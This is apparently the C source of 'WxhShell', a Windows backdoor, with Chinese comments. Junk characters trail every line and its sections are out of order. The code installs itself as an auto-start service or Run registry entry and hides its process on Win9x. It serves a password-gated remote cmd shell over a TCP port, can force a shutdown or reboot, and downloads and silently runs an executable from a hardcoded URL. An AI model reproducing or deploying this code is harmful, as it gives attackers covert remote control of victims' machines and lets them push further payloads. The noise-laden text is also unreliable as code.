  // 关机 T x Mh_  
  case 'd': { J8\l'} ?&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f~l pa7  
    if(Boot(SHUTDOWN)) ]?_~QE`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RCfeIHL  
    else { >A{e,&  
    closesocket(wsh); P 4)Q5r  
    ExitThread(0); gm5%X'XL  
    } KRGj6g+  
    break; 9.xb-m7  
    } #O_%!7M{4  
  // 获取shell >7@,,~3  
  case 's': { #SHJ0+)o  
    CmdShell(wsh); /*gs]  
    closesocket(wsh); {QG6ldI  
    ExitThread(0); 3KqRw (BK  
    break; !DA4q3-U>>  
  } q;R&valn  
  // 退出  cL .z{  
  case 'x': { i'CK/l.H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R-$w* =Y  
    CloseIt(wsh); ]UIN4E  
    break; {_W8Qm`.  
    } 0X99D2c  
  // 离开 jSBz),.XU}  
  case 'q': { { #B/4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); prM)t8SE  
    closesocket(wsh); \aPH_sf,  
    WSACleanup(); A%EhRAy  
    exit(1); 5G6 Pp7[  
    break; N/lEfy<&g:  
        } LV9R ]  
  } ^W}| 1.uZ  
  } #/I+[|=[O  
f.` 8vaV  
  // 提示信息 q9x@Pc29d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cl#XiyK>  
} @Wd (>*"zw  
  } "< Di  
C<C^7-5  
  return; QNE/SSL  
} w)K547!00  
lNc0znY  
// shell模块句柄 PC"=B[OlJ  
int CmdShell(SOCKET sock) {88|J'*L  
{ D',7T=C   
STARTUPINFO si; yS K81`  
ZeroMemory(&si,sizeof(si)); `tO t+>YWn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K_t >T)K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :xmj42w>^  
PROCESS_INFORMATION ProcessInfo; oGZuYpa9  
char cmdline[]="cmd"; s`Z.H5V>\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G$_)X%Vb I  
  return 0; {8":c n j  
} .mwW`D  
w&#[g9G%  
// 自身启动模式 d8 ~%(I9  
int StartFromService(void) r9-ayp#pC  
{ +5-|6  
typedef struct 6f0o'  
{ V@RdvQy  
  DWORD ExitStatus; 3 P75:v  
  DWORD PebBaseAddress; O|Vc  
  DWORD AffinityMask; D\ZH1C!d  
  DWORD BasePriority; Tw%1m  
  ULONG UniqueProcessId; z+M{z r  
  ULONG InheritedFromUniqueProcessId; l`6.(6  
}   PROCESS_BASIC_INFORMATION; 5`}za-  
O)R}|  
PROCNTQSIP NtQueryInformationProcess; Y]~-S  
3y$6}Kp4?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]n@T5*=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q6 o1^s  
1foG*   
  HANDLE             hProcess; :SwA) (1  
  PROCESS_BASIC_INFORMATION pbi; g<DXJ7o  
_H}hK kG+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qa9@Q$  
  if(NULL == hInst ) return 0; hb0)<^xu  
O.Te"=^"F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 19% "F!^i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JSq3)o9?/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LO%e1y  
FwKY;^`!d  
  if (!NtQueryInformationProcess) return 0; 9A{D<h}yk  
pi70^`@'B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [Djx@x  
  if(!hProcess) return 0; | Wj=%Ol%o  
' 8R5 Tl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  $AZ=;iP-  
g;q.vHvsc"  
  CloseHandle(hProcess); @b2?BSdUp  
fhdqes])  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KDf#e3  
if(hProcess==NULL) return 0; 'b[O-6v  
[SKDsJRPP  
HMODULE hMod; O\oRM2^u}  
char procName[255]; dA2@PKK  
unsigned long cbNeeded; Gys-Im6>~@  
e&A3=a~\s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -=lL{oB1  
3ohHBo  
  CloseHandle(hProcess); pP# _B  
EHl~y=9  
if(strstr(procName,"services")) return 1; // 以服务启动 h1B_*L   
]m &Ss  
  return 0; // 注册表启动 #5^OO ou|  
} fQ.S ,lMe  
7N5M=f.DS(  
// 主模块 2cS94h  
int StartWxhshell(LPSTR lpCmdLine) ^G5fs'd  
{ qUg/mdv&  
  SOCKET wsl; EKw)\T1  
BOOL val=TRUE; aWvC-vZk  
  int port=0; G^;]]Ji"  
  struct sockaddr_in door; .;U?%t_7  
cJSwA&  
  if(wscfg.ws_autoins) Install(); .R4,fCN  
TR `C|TV>  
port=atoi(lpCmdLine); Zu~t )W  
s/3sOb}sA  
if(port<=0) port=wscfg.ws_port; "NEKz  
4__HH~j?Q  
  WSADATA data; ]$.w I~J%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^[+2P?^K  
;Hp78!#,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )-iUUak  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5,O:"3>c  
  door.sin_family = AF_INET; KB^GC5L>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {~#01p5  
  door.sin_port = htons(port); )Fqtb;W=  
x a\~(B.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 23+JuXC6>  
closesocket(wsl); ': Ek3'L  
return 1; VY|U B7,C  
} n~jW  
D4@(_6^  
  if(listen(wsl,2) == INVALID_SOCKET) { Du-Q~I6  
closesocket(wsl); ]|IeE!6  
return 1; ojJu a c4  
} +,T}x+D  
  Wxhshell(wsl); 31]Vo;D  
  WSACleanup(); 3 UQBIrQ  
E=bZ4 /  
return 0; ={p<|8`"  
bx7hQzoX=b  
} 5yW}#W>  
l r~>!O  
// 以NT服务方式启动 8@6*d.+e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :2b*E`+  
{ <I?f=[  
DWORD   status = 0; =8]Ru(#Ig  
  DWORD   specificError = 0xfffffff; ne[H`7c  
gA 5DEit  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |llmq'Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8H3O6ro  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hO$29_^"  
  serviceStatus.dwWin32ExitCode     = 0; , d HAD  
  serviceStatus.dwServiceSpecificExitCode = 0; "HJQAy?W  
  serviceStatus.dwCheckPoint       = 0; R&'Mze fb  
  serviceStatus.dwWaitHint       = 0; tPw7zFy6r  
mEb`ET|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i!<(R$ Lo  
  if (hServiceStatusHandle==0) return; 11!4#z6w  
K)\D,5X^  
status = GetLastError(); d(5j#?  
  if (status!=NO_ERROR) p-z!i+  
{ (f* r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vrp]YR L`  
    serviceStatus.dwCheckPoint       = 0; OaByfo<S  
    serviceStatus.dwWaitHint       = 0; f8f|'v|  
    serviceStatus.dwWin32ExitCode     = status; O`~L*h_  
    serviceStatus.dwServiceSpecificExitCode = specificError; S!iDPl~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); # ?u bvSdU  
    return; ?]}=4  
  } D{+D.4\  
1P BnGQYM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [H2su|rBI`  
  serviceStatus.dwCheckPoint       = 0; #m'+1 s L  
  serviceStatus.dwWaitHint       = 0; \ov]Rn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u b@'(*  
} %7Gq#rq  
n*~#]%4  
// 处理NT服务事件,比如:启动、停止 v=IcVHuf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h}+Gz={Q^  
{ j{m{hVa  
switch(fdwControl) PhmtCp0-7-  
{ /sSif0I24  
case SERVICE_CONTROL_STOP: C+C1(b;1  
  serviceStatus.dwWin32ExitCode = 0; S! .N3ezn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; On@p5YRwW  
  serviceStatus.dwCheckPoint   = 0; 5YiBPB")  
  serviceStatus.dwWaitHint     = 0; |A H@W#7j  
  { \J6e/ G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AUaupNN  
  } $BOIa  
  return; 25;`yB$  
case SERVICE_CONTROL_PAUSE: X(>aW*q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A<[w'"  
  break; <.@w%rvG  
case SERVICE_CONTROL_CONTINUE: Sh<A936/E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (B].ppBii  
  break; r6+IJxUd  
case SERVICE_CONTROL_INTERROGATE: 8ePzU c\#  
  break; HDhG1B"NL  
}; EOGz;:b&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +C4NhA2  
} q(5  
u3PM 7z!~  
// 标准应用程序主函数 ZgzYXh2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ak\"C4s  
{ ZB,UQ~!Yr  
KeC&a=HL  
// 获取操作系统版本 YgkQF0+  
OsIsNt=GetOsVer(); ksqb& ux6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wY7+E/  
3cFvS[JG  
  // 从命令行安装 :XO7#P  
  if(strpbrk(lpCmdLine,"iI")) Install(); c{/KkmI  
;:Y/"5h  
  // 下载执行文件 S|B S;VY  
if(wscfg.ws_downexe) { ,\PTn7_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K$ |!IXs  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~A>-tn}O  
} >DR/ lBtL  
@N\ Ht'f  
if(!OsIsNt) { mgBxcmv  
// 如果时win9x,隐藏进程并且设置为注册表启动 0MOn>76$N  
HideProc(); wq#'o9s,  
StartWxhshell(lpCmdLine); =ZARJ40L  
} 3>^S6h}o  
else l{3ZN"`I  
  if(StartFromService()) jTok1k  
  // 以服务方式启动 71HrpTl1fw  
  StartServiceCtrlDispatcher(DispatchTable); WQY\R!+  
else z`|E0~{-  
  // 普通方式启动 jx];=IC3tt  
  StartWxhshell(lpCmdLine); `Jl_'P}  
MPJ0>Ly  
return 0; mp0! S  
} HK.Si]:  
7+J<N@.d  
zXeBUbVi  
MAG /7T5  
=========================================== Dzw>[   
?D=%k8)Y  
d%ncI0f`  
au7@-_  
bY=Yb  
z-h7v5i"  
" yc@ :*Z  
bKPjxN?!9  
#include <stdio.h> #r80FVwiD  
#include <string.h> toC|vn&P  
#include <windows.h> $b"Ex>  
#include <winsock2.h> 8X= 2#&)  
#include <winsvc.h> "I45=nf  
#include <urlmon.h> 9h^TOZK)  
g);.".@"  
#pragma comment (lib, "Ws2_32.lib") $s5D/60nO  
#pragma comment (lib, "urlmon.lib") [N*`3UZk"  
259:@bi!y  
#define MAX_USER   100 // 最大客户端连接数 7Y*Q)DDy  
#define BUF_SOCK   200 // sock buffer @XX7ydG5  
#define KEY_BUFF   255 // 输入 buffer d>1#|  
7e<\11uI]a  
#define REBOOT     0   // 重启 v7D3aWoe  
#define SHUTDOWN   1   // 关机 ~RnBs`&!  
qnU$Pd  
#define DEF_PORT   5000 // 监听端口 ( z%t  
J y0TVjA  
#define REG_LEN     16   // 注册表键长度 =&;}#A%m  
#define SVC_LEN     80   // NT服务名长度 T`|>oX  
is=|rY9$  
// 从dll定义API _K|?;j#x0k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FGRG?d4?h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5~SBZYI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %967#XI[y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vjXCArS  
v 1Jg8L=  
// wxhshell配置信息 SCD;(I~4  
struct WSCFG { %J|xPp)  
  int ws_port;         // 监听端口 5?gZw;yiv%  
  char ws_passstr[REG_LEN]; // 口令 ~2?UEv6  
  int ws_autoins;       // 安装标记, 1=yes 0=no q|R$A8)L.  
  char ws_regname[REG_LEN]; // 注册表键名 4S,/Z{ J.  
  char ws_svcname[REG_LEN]; // 服务名 D$bJs O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <e'l"3+9(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vTYgWR,h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }{ "RgT-qG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 29h_oNO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fuA 8jx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gd\b]L?>O  
kpO+  
}; +8V |  
kX]p;C  
// default Wxhshell configuration 7#iT33(3  
struct WSCFG wscfg={DEF_PORT, C)qP9uW  
    "xuhuanlingzhe", ,DWC=:@X  
    1, fm^)u"  
    "Wxhshell", <<9Y=%C+  
    "Wxhshell", 3 p9LVa  
            "WxhShell Service", I}7= \S/@  
    "Wrsky Windows CmdShell Service", 3ocRq %%K  
    "Please Input Your Password: ", +N!!Z2  
  1, 5v-o2  
  "http://www.wrsky.com/wxhshell.exe", 0i9C\'W`  
  "Wxhshell.exe" uB uwE6  
    }; 9IG3zMf  
ffE>%M*  
// 消息定义模块 ~qm u?5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rk52K*Dc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >dqeGM7Np>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |m>n4 -5QL  
char *msg_ws_ext="\n\rExit."; "]{"4qV1=  
char *msg_ws_end="\n\rQuit."; 8\ WOss)al  
char *msg_ws_boot="\n\rReboot..."; ^Dhu8C(  
char *msg_ws_poff="\n\rShutdown..."; de?lO ;8  
char *msg_ws_down="\n\rSave to "; <\S j5  
z[ N_3n  
char *msg_ws_err="\n\rErr!"; ZE>!]# ,  
char *msg_ws_ok="\n\rOK!"; )v?-[ oR  
TANt*r7  
char ExeFile[MAX_PATH]; AehkEN&H/t  
int nUser = 0; @](\cT64i3  
HANDLE handles[MAX_USER]; r<L>~S>yb  
int OsIsNt; ='|HUxFi  
VNLggeX'U  
SERVICE_STATUS       serviceStatus; n`)wD~mk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zr@G  
PyfOBse}r  
// 函数声明 `` mi9E  
int Install(void); 1f`=U 0  
int Uninstall(void); )Y+?)=~  
int DownloadFile(char *sURL, SOCKET wsh); hV4B?##O  
int Boot(int flag); .Qeml4(`3  
void HideProc(void); )|zna{g\  
int GetOsVer(void); 0^{?kg2o_  
int Wxhshell(SOCKET wsl); -#?p16qz5  
void TalkWithClient(void *cs); (Eoji7U  
int CmdShell(SOCKET sock); Nd4!:.  
int StartFromService(void); )<1}`9G  
int StartWxhshell(LPSTR lpCmdLine); |K6hY-uC  
H/6GD,0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pu*vFwZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wUz)9n 6j  
uua1_# a  
// 数据结构和表定义 *!y.!v*  
SERVICE_TABLE_ENTRY DispatchTable[] = lhA<wV1-9G  
{ zx{O/v KG  
{wscfg.ws_svcname, NTServiceMain}, r'ydjy  
{NULL, NULL} 5=.EngG  
}; q#~]Hp=W5  
Tse Pdkk  
// 自我安装 Wd_cNR\  
int Install(void) #D{//P|;  
{ gZr/Dfy  
  char svExeFile[MAX_PATH]; rpT{0 >5  
  HKEY key; /8` S}g+  
  strcpy(svExeFile,ExeFile); k99ANW  
Uwqm?]  
// 如果是win9x系统,修改注册表设为自启动 _(8HK  
if(!OsIsNt) { h7S&tW GU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wB;'+d&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q:1_D>  
  RegCloseKey(key); z!I(B^)BkT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o[!g,Gmoh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4;ig5'U,  
  RegCloseKey(key); zSi SZMP"  
  return 0; Y Hv85y  
    } AT{ewb  
  } g{ cHh(S  
} cKX6pG  
else { 1Bz'$u;  
FT* o;&_QS  
// 如果是NT以上系统,安装为系统服务 jbqhNsTNK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Q?I8,4}  
if (schSCManager!=0) !Ax7k;T  
{ THmX=K4=?  
  SC_HANDLE schService = CreateService ZK[S'(6q  
  ( }hFjl4`xa  
  schSCManager, E5M*Gs  
  wscfg.ws_svcname, ),-4\!7  
  wscfg.ws_svcdisp, 6 tbH(  
  SERVICE_ALL_ACCESS, Ir*,fyl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kE".v|@  
  SERVICE_AUTO_START, @:. 6'ji,`  
  SERVICE_ERROR_NORMAL, snBC +`-  
  svExeFile, <'4DMZ-G  
  NULL, w%1B_PyDg  
  NULL, X~Li`  
  NULL, 1lNg} !)[K  
  NULL, 9 0[gXj  
  NULL GGs3r;(t  
  ); e.0vh?{\  
  if (schService!=0) B*owV%  
  { y\Z-x  
  CloseServiceHandle(schService); 8fdK|l w  
  CloseServiceHandle(schSCManager); F~ n}Ep~1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }q(IKH\&  
  strcat(svExeFile,wscfg.ws_svcname); iw(\]tMt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F^=|NlU&%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5U[;T]{)e  
  RegCloseKey(key); )(&g\  
  return 0; X!n-nms  
    } Kk~0jP_B9  
  } U"xI1fg%b  
  CloseServiceHandle(schSCManager); {cv,Tz[Q>  
} ~}mX#,  
} sDCa&"6+@  
t?v0ylN  
return 1; kvdzD6T 9  
} 'lv\I9"S)  
,h1r6&MEY  
// 自我卸载 h.QKbbDj  
int Uninstall(void) ,7pO-:*g  
{ 1GW=QbO 6  
  HKEY key; }@Oy kN  
H+; _fd  
if(!OsIsNt) { sf?D4UdIH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hSD)|  
  RegDeleteValue(key,wscfg.ws_regname);  { Lt \4h  
  RegCloseKey(key); fj 19U9R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AdB5D_ Ir  
  RegDeleteValue(key,wscfg.ws_regname); .l*]W!L]  
  RegCloseKey(key); j~"X`:=  
  return 0; fh \<tnY  
  } h2KXW}y"4  
} 6kjBd3  
} |J`YFv  
else { u:N/aaU=  
^G# =>&,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %.b)%=  
if (schSCManager!=0) ;=Bf&hY&  
{ F#iLMO&Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b9OT~i=S|  
  if (schService!=0) y6; '?.Y1  
  { 2u6N';jgZ  
  if(DeleteService(schService)!=0) { DnaG$a<  
  CloseServiceHandle(schService); / v;g v[  
  CloseServiceHandle(schSCManager); C did*hxJ  
  return 0; o)?"P;UhJX  
  } gW6lMyiLb  
  CloseServiceHandle(schService); bs]ret$?(q  
  } i<1w*yu  
  CloseServiceHandle(schSCManager); qB7.LR*'  
} T_,LK7D  
} A A<9 XC  
:%A1k2  
return 1; C|W_j&S65  
} X?Omk, '  
FWdSpaas Q  
// 从指定url下载文件 >9=Y(`  
int DownloadFile(char *sURL, SOCKET wsh) )u ]<8  
{ n\*>m p)  
  HRESULT hr; _>A])B ^  
char seps[]= "/"; GwwxSB&y  
char *token; 4I^6[{_  
char *file; F)_Rs5V:(  
char myURL[MAX_PATH]; N"T~U\R  
char myFILE[MAX_PATH]; _:M6~XHo  
pLBp[GQ  
strcpy(myURL,sURL); J*,Ed51&7  
  token=strtok(myURL,seps); c1CP1 2  
  while(token!=NULL) Z5-"a?{Y  
  { $}OU~d1q  
    file=token; 0c7&J?"wE  
  token=strtok(NULL,seps); &N*S   
  } 0wZLkU_(  
D Z ~|yH  
GetCurrentDirectory(MAX_PATH,myFILE); 5HL JkOV5  
strcat(myFILE, "\\");  h:#  
strcat(myFILE, file); .rG Rdb  
  send(wsh,myFILE,strlen(myFILE),0); Ua V9T:)x  
send(wsh,"...",3,0); Nf0b?jn-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /n?5J`6  
  if(hr==S_OK) **-%5 ~  
return 0; ?$;_a%v6  
else cGsxfwD  
return 1; \ fU{$  
x7Ly,  
} zmf5!77  
A>OL5TCl  
// 系统电源模块 xJ>hN@5}i  
int Boot(int flag) c 2?(.UV  
{ 52l|  
  HANDLE hToken; MY9?957F  
  TOKEN_PRIVILEGES tkp; Zi@?g IiX  
i3;Z:,A4NN  
  if(OsIsNt) { z=>]E 1'RL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A~nq4@uj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IDE@{Dy  
    tkp.PrivilegeCount = 1; #B`"B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?*,N ?s(U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AUS?P t[w  
if(flag==REBOOT) { N.xmHvPk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  wx o(  
  return 0; w:'$Uf8]  
} s.C-II?e  
else { !S%XIq}FX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _4zlEo-.gU  
  return 0; |KU>+4= @  
} }[D~#Z!k  
  } \~jt7 Q  
  else { v]U[7 j  
if(flag==REBOOT) { YZpF*E;6t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^;W,:y&  
  return 0; e d4T_O;  
} m++VW0Y>  
else { 1xM&"p:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _=q)lt-UY  
  return 0; }#EiL !Pv  
} c4L5"_#`x-  
} X"iy.@7  
X-oou'4<  
return 1; 3{d1Jk/S  
} RXl52#:  
,!%[CpM3  
// win9x进程隐藏模块 $3Wl~ G}  
void HideProc(void) a/L?R Uu  
{ ?@_3B]Fs  
39"8Nq|e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \+Qx}bS{  
  if ( hKernel != NULL ) j*W]^uT,  
  { 5>}L3r>a;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {U^mL6=&v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <diI*H<G  
    FreeLibrary(hKernel); 1#]tCi`  
  } y7d)[d*Mz  
4y 582u6^  
return; dHf_&X2A  
} G:u[Lk#6K  
/d'^ XYOC  
// 获取操作系统版本 ,W*<e-  
int GetOsVer(void) GE~mu76%  
{ v[m/>l2[P  
  OSVERSIONINFO winfo; ZwO&G\A^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n8zUL1:R  
  GetVersionEx(&winfo); S 5m1~fz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^x 4,}'(  
  return 1; m'aw`?  
  else KMoRMCT  
  return 0; vx!nC}f"k`  
} ]jY->NsA]  
7:M%w'oR  
// 客户端句柄模块 (zJ TBI'  
int Wxhshell(SOCKET wsl) z ; :E~;  
{ 3eI:$1"Q  
  SOCKET wsh; 1__p1  
  struct sockaddr_in client; r^*,eF  
  DWORD myID; ;EF s2-{K  
?>RJ8\Sj  
  while(nUser<MAX_USER) u@|GQXC  
{ /Pg66H#RUf  
  int nSize=sizeof(client); 2{+\\.4Evk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C@]Z&H;  
  if(wsh==INVALID_SOCKET) return 1; 1|z>} xP  
ut-UTW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gyI5;il~  
if(handles[nUser]==0) %@H;6   
  closesocket(wsh); f*oL8"?u&  
else P-^Z7^o-bX  
  nUser++; \zj8| +  
  } TO( =4;U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  &h4(lM  
:kY][_  
  return 0; iCl,7$[*  
} S'6(&"XC H  
De4+4&  
// 关闭 socket !R)v2Mk|  
void CloseIt(SOCKET wsh) ~73YOGiGJH  
{ [ Y'Xop6G  
closesocket(wsh); ,a5I:V^\  
nUser--; WNd(X}  
ExitThread(0); RMLs(?e  
} DJrA@hm/Y  
s'} oVx]  
// 客户端请求句柄 evimnV  
void TalkWithClient(void *cs) mKxQ U0`  
{ 17<\Q(YQ=  
}4eSB  
  SOCKET wsh=(SOCKET)cs; +sgishqn9  
  char pwd[SVC_LEN]; gR~XkU  
  char cmd[KEY_BUFF]; 42# rhgW  
char chr[1]; !30Dice  
int i,j; 5p=T*Y  
z4{|?0=C  
  while (nUser < MAX_USER) { Eer rIV  
v9M ;W+J  
if(wscfg.ws_passstr) { q ,}W.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v>7=T 8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WnUYZ_+e!  
  //ZeroMemory(pwd,KEY_BUFF); i'`Z$3EF)  
      i=0; ]'T-6  
  while(i<SVC_LEN) { e7vPi QCc  
GW` 9SB  
  // 设置超时 p1G!-\l  
  fd_set FdRead; Mg^GN -l  
  struct timeval TimeOut; 1{nXmtvr  
  FD_ZERO(&FdRead); Y}nE/bmx&9  
  FD_SET(wsh,&FdRead);  eCk}B$ 2  
  TimeOut.tv_sec=8; NsWyxcty  
  TimeOut.tv_usec=0; Ej6vGC.,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ir%/9=^d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x\x>_1oP  
Zr oj-3-X~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qjUQ2d  
  pwd=chr[0]; u4#BD!W  
  if(chr[0]==0xd || chr[0]==0xa) { WI}P(!h\J  
  pwd=0; W~dS8B=<  
  break; j6IWdqXe  
  } }@a_x,O/x}  
  i++; hua{g_  
    } ;'R{b$B;|  
%4+r&  
  // 如果是非法用户,关闭 socket C4Bh#C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {!'AR`|  
} QXgh[9w G  
=$Xdn'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7c4\'dt#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z#bO FVg#  
hof ZpM  
while(1) { 9:YiLoz?  
d t0?4 d  
  ZeroMemory(cmd,KEY_BUFF); KQQR"[z&V  
1 ljgq]($  
      // 自动支持客户端 telnet标准   HtmJIH:  
  j=0; oACuI|b  
  while(j<KEY_BUFF) { JBi<TDm/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,$W7Q  
  cmd[j]=chr[0]; )Hl;9  
  if(chr[0]==0xa || chr[0]==0xd) { hD # Yz<  
  cmd[j]=0; r-&4<=C/N  
  break; +?nW  
  }  ] |~],\  
  j++; 5XA6IL|/l  
    } )}n`MRDB  
J%3S3C2*m  
  // 下载文件 :m^eNS6:  
  if(strstr(cmd,"http://")) { c?>Q!sC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &xrm;pO  
  if(DownloadFile(cmd,wsh)) 9[6xo!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $>8+t>|  
  else _@jl9<t=_  
